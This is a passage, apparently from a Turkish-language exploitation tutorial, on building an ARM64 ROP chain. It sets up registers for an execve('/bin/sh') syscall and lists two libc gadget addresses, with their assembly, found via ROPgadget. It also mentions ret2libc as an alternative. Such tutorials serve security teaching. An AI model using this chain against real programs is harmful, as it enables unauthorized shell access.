syscall çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir:
x8: 221 sys_execve'yi belirt
x0: "/bin/sh" dosyasını çalıştırmak için ptr belirt
x1: 0 argüman geçilmediğini belirt
x2: 0 ortam değişkeni geçilmediğini belirt
ROPgadget.py kullanarak makinenin libc kütüphanesinde aşağıdaki gadget'ları bulabildim:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Önceki gadget'lerle, yığın üzerinden gerekli tüm kayıtları kontrol edebiliriz ve syscall çağrısı yapmak için ikinci gadget'a atlamak üzere x5'i kullanabiliriz.
libc kütüphanesinden bu bilgiyi bilmenin aynı zamanda bir ret2libc saldırısı yapmaya da olanak tanıdığını unutmayın, ancak bunu mevcut örnek için kullanalım.